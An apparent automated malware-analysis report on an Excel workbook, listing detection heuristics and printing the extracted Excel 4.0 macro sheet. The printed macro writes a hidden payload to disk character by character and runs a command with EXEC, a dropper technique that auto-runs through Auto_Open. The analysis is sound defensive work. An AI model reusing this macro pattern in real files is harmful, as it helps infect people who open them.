MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically using functions like FOPEN, FWRITE, FCLOSE, EXEC, and HALT. These functions are indicative of a macro-based downloader that attempts to write and execute a second-stage payload. The EXEC function is used to run a command retrieved via GET.NOTE, suggesting an attempt to execute arbitrary code.
Heuristics 5
-
Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
-
Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 1473 bytes |
SHA-256: cb563ca567f944ff16fa504fd40dbc4ff122877e7d53cdfd87afa7757c95358f |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A196:B1843"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="196" spans="1:1"><c r="A196" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$625, 1, 200), 1+2)</f><v>0</v></c></row><row r="305" spans="1:1"><c r="A305" t="b"><f>FOR.CELL("DnALC",Sheet1!J161:N5196, TRUE)</f><v>0</v></c></row><row r="356" spans="1:1"><c r="A356" t="e"><f>FWRITE(Macro1!A196,CHAR(DnALC))</f><v>#NAME?</v></c></row><row r="473" spans="1:1"><c r="A473" t="b"><f>NEXT()</f><v>0</v></c></row><row r="523" spans="1:1"><c r="A523" t="b"><f>FCLOSE(Macro1!A196)</f><v>0</v></c></row><row r="625" spans="2:2"/><row r="922" spans="2:2"/><row r="1630" spans="1:1"><c r="A1630" t="b"><f>SET.VALUE(Macro1!$B$922, GET.NOTE(Macro1!$B$922, 1, 200))</f><v>0</v></c></row><row r="1732" spans="1:1"><c r="A1732" t="b"><f>EXEC(Macro1!$B$922)</f><v>0</v></c></row><row r="1843" spans="1:1"><c r="A1843" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="CDED" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.